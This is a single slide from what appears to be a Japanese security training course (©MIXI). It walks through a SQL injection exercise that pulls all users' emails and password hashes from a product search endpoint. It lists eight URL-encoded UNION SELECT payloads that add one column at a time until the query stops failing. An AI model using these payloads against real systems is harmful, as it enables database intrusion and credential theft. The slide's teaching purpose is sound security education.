Slide 135
Slide 135 text
©MIXI
135
SQLインジェクションでいざ情報奪取!
総合演習
3. SQLインジェクションを悪用して全ユーザーの情報(Eメール、パスワードハッシュ)を抜き出そう
解説
つまり、カラム数が合うまで下記のように試行を続けると、エラーが発生しなくなる時が訪れる。
それが答え。
1. /rest/product/search?q=apple%27))%20UNION%20SELECT%20email,password%20FROM%20Users––
2. /rest/product/search?q=apple%27))%20UNION%20SELECT%20email,password,3%20FROM%20Users––
3. /rest/product/search?q=apple%27))%20UNION%20SELECT%20email,password,3,4%20FROM%20Users––
4. /rest/product/search?q=apple%27))%20UNION%20SELECT%20email,password,3,4,5%20FROM%20Users––
5. /rest/product/search?q=apple%27))%20UNION%20SELECT%20email,password,3,4,5,6%20FROM%20Users––
6. /rest/product/search?q=apple%27))%20UNION%20SELECT%20email,password,3,4,5,6,7%20FROM%20Users––
7. /rest/product/search?q=apple%27))%20UNION%20SELECT%20email,password,3,4,5,6,7,8%20FROM%20Users––
8. /rest/product/search?q=apple%27))%20UNION%20SELECT%20email,password,3,4,5,6,7,8,9%20FROM%20Users––